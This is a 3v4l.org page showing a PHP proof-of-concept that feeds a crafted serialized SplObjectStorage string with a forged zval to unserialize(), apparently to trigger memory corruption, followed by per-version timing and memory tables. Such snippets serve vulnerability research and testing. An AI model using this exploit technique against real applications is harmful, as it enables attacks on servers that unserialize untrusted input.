3v4l.org

run code in 300+ PHP versions simultaneously
<?php $fakezval = ptr2str(1234567); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:0;m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00016.75
8.3.50.0110.00416.38
8.3.40.0070.00718.92
8.3.30.0120.00318.79
8.3.20.0040.00420.38
8.3.10.0080.00021.70
8.3.00.0050.00320.09
8.2.180.0150.00016.63
8.2.170.0110.00422.96
8.2.160.0080.00820.31
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0000.00921.11
8.2.120.0040.00426.35
8.2.110.0040.00420.35
8.2.100.0040.00818.05
8.2.90.0050.00319.17
8.2.80.0050.00317.97
8.2.70.0030.00617.50
8.2.60.0040.00417.76
8.2.50.0080.00018.07
8.2.40.0080.00021.19
8.2.30.0070.00320.69
8.2.20.0000.00717.67
8.2.10.0040.00418.14
8.2.00.0030.00718.11
8.1.280.0080.00825.92
8.1.270.0110.00420.26
8.1.260.0030.00628.09
8.1.250.0000.00728.09
8.1.240.0060.00322.06
8.1.230.0110.00017.76
8.1.220.0000.00817.77
8.1.210.0080.00018.77
8.1.200.0000.00917.35
8.1.190.0040.00417.35
8.1.180.0060.00318.10
8.1.170.0000.00818.59
8.1.160.0000.00720.82
8.1.150.0000.00718.77
8.1.140.0040.00419.49
8.1.130.0070.00017.59
8.1.120.0030.00517.48
8.1.110.0050.00217.39
8.1.100.0060.00317.35
8.1.90.0070.00017.48
8.1.80.0050.00217.47
8.1.70.0000.00717.42
8.1.60.0040.00417.63
8.1.50.0060.00317.50
8.1.40.0030.00517.53
8.1.30.0000.00817.59
8.1.20.0060.00317.62
8.1.10.0040.00417.48
8.1.00.0040.00417.54
8.0.300.0060.00318.77
8.0.290.0050.00216.88
8.0.280.0050.00218.48
8.0.270.0030.00317.16
8.0.260.0030.00317.14
8.0.250.0080.00017.04
8.0.240.0060.00017.00
8.0.230.0030.00317.04
8.0.220.0030.00316.95
8.0.210.0040.00416.93
8.0.200.0040.00417.04
8.0.190.0000.00817.07
8.0.180.0040.00416.89
8.0.170.0040.00416.95
8.0.160.0040.00417.02
8.0.150.0030.00416.92
8.0.140.0020.00516.87
8.0.130.0000.00513.40
8.0.120.0000.00716.83
8.0.110.0070.00016.93
8.0.100.0040.00416.87
8.0.90.0040.00417.08
8.0.80.0060.00916.89
8.0.70.0040.00416.92
8.0.60.0030.00516.84
8.0.50.0000.00716.92
8.0.30.0110.00817.13
8.0.20.0090.01017.40
8.0.10.0050.00316.98
8.0.00.0090.01016.80
7.4.330.0000.00516.77
7.4.320.0030.00316.68
7.4.300.0000.00616.57
7.4.290.0030.00316.55
7.4.280.0090.00316.46
7.4.270.0000.00716.61
7.4.260.0000.00716.46
7.4.250.0000.00716.59
7.4.240.0040.00316.56
7.4.230.0000.00616.62
7.4.220.0120.01516.71
7.4.210.0070.00716.48
7.4.200.0000.00716.52
7.4.160.0130.00416.73
7.4.150.0110.00817.40
7.4.140.0140.01017.86
7.4.130.0070.01016.57
7.4.120.0070.01016.50
7.4.110.0080.01116.45
7.4.100.0090.01216.29
7.4.90.0090.00916.32
7.4.80.0110.00619.39
7.4.70.0110.00716.57
7.4.60.0100.00716.45
7.4.50.0070.01016.55
7.4.40.0080.00816.37
7.4.30.0120.01016.52
7.4.00.0080.00814.88
7.3.330.0000.00613.35
7.3.320.0050.00313.37
7.3.310.0030.00316.27
7.3.300.0090.00016.49
7.3.290.0080.00916.36
7.3.280.0120.00616.41
7.3.270.0150.00317.40
7.3.260.0100.00716.46
7.3.240.0100.00716.50
7.3.230.0080.00816.66
7.3.210.0080.00816.67
7.3.200.0120.00916.36
7.3.190.0060.01016.50
7.3.180.0030.01316.48
7.3.170.0090.00916.42
7.3.160.0100.00616.54
7.3.120.0090.00914.88
7.3.110.0100.00714.84
7.3.100.0050.00514.96
7.3.90.0070.00714.68
7.3.80.0100.00314.81
7.3.70.0060.01314.74
7.3.60.0000.01215.03
7.3.50.0070.00714.72
7.3.40.0060.00914.97
7.3.30.0030.01414.97
7.3.20.0030.01316.80
7.3.10.0000.00916.78
7.3.00.0000.01816.81
7.2.330.0090.00816.77
7.2.320.0030.01416.49
7.2.310.0040.02016.71
7.2.300.0100.00716.69
7.2.290.0070.01316.72
7.2.250.0040.01115.23
7.2.240.0100.01015.05
7.2.230.0080.00415.09
7.2.220.0130.00714.80
7.2.210.0100.00714.94
7.2.200.0070.01015.21
7.2.190.0090.00615.01
7.2.180.0060.01015.16
7.2.170.0000.01715.00
7.2.60.0100.00316.54
7.2.00.0060.00319.51
7.1.330.0000.01315.99
7.1.320.0090.00916.00
7.1.310.0040.01115.86
7.1.300.0060.00315.87
7.1.290.0100.00315.73
7.1.280.0000.01315.98
7.1.270.0080.00615.82
7.1.260.0040.00815.80
7.1.200.0070.00315.67
7.1.100.0000.01118.21
7.1.70.0000.01317.01
7.1.60.0070.01719.05
7.1.50.0040.01816.98
7.1.00.0070.07322.38
7.0.200.0040.00416.93
7.0.60.0100.07019.90
7.0.50.0100.06317.92
7.0.40.0030.04320.15
7.0.30.0300.07320.30
7.0.20.0370.06720.19
7.0.10.0100.07020.07
7.0.00.0170.06020.23
5.6.280.0000.03320.89
5.6.210.0070.08720.51
5.6.200.0030.07718.20
5.6.190.0030.04720.63
5.6.180.3830.04020.61
5.6.170.0270.06320.54
5.6.160.0070.09320.54
5.6.150.0100.07718.16
5.6.140.0130.06718.18
5.6.130.0030.04718.10
5.6.120.0100.05021.02
5.6.110.0070.06020.99
5.6.100.0070.06320.89
5.6.90.0070.05721.11
5.6.80.0030.08320.41
5.5.350.0170.07320.33
5.5.340.0070.07717.99
5.5.330.0070.04020.27
5.5.320.0500.05320.34
5.5.310.0330.05720.36
5.5.300.0070.08017.98
5.5.290.0130.07317.95
5.5.280.0070.03720.78
5.5.270.0030.04320.88
5.5.260.0130.07020.82
5.5.250.0100.03720.58
5.5.240.0130.03020.07

preferences:
49.12 ms | 400 KiB | 5 Q